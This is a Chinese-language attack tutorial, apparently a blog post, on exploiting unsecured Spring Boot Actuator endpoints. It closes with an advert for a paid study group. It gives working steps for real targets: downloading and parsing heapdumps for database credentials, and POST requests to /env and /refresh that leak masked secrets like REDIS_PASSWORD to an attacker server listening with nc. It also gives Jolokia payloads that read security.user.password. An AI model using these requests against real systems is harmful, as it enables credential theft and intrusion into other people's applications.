spring actuator是springboot用来管理资源处理数据、映射url端点等具有一系列功能的工具,当没有配置安全访问时,就会把一些端点数据和数据库敏感信息暴露在外
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
1.x版本直接访问以上端点,2.x版本需要加上actuator路径
可在相关资产测绘平台搜索springboot相关资产
poc地址如下
https://github.com/jiankeguyue/nuclei\_pocs/blob/main/springboot\_actuator\_information\_leakage.yaml
现在需要获取星号敏感信息
heapdump文件是java进程在某个时间段的内存快照,其中可能包含了数据库的账号密码
漏洞利用工具参照上一篇文章
env界面存在heapdump端点
直接进行下载
java -jar heapdump\_tool.jar heapdump
成功获取
利用条件:
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)
目标使用了eureka-client
GET 请求目标网站的 /env
或 /actuator/env
接口,搜索 ******
关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名
比如这个
redis数据库的密码
然后在自己控制的外网服务器上监听端口
比如
nc -lvk 3333
然后发送数据包
1.x版本连续发送这两个数据包
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${REDIS\_PASSWORD}@your vps:3333
POST /refresh
Content-Type: application/x-www-form-urlencoded
这里返回了数据包
Authorization: Basic xxxxxx
xxxx后面就是可以用来解码的数据
可惜的是这种方式无法适用于被明文数据中有特殊 url 字符的情况,比如@
如下所示
spring1.x
1
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://yourvps:3333/?=${REDIS\_PASSWORD}
2
POST /refresh
Content-Type: application/x-www-form-urlencoded
2.x版本就改为
1
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
2
POST /actuator/refresh
Content-Type: application/json
不出意外获得的数据会是这样的
是明文数据,不需要解码
目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)
poc1
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": \["security.user.password"\]}
poc2
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": \["security.user.password"\]}
明文值结果包含在 response 数据包中的 value
键中。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放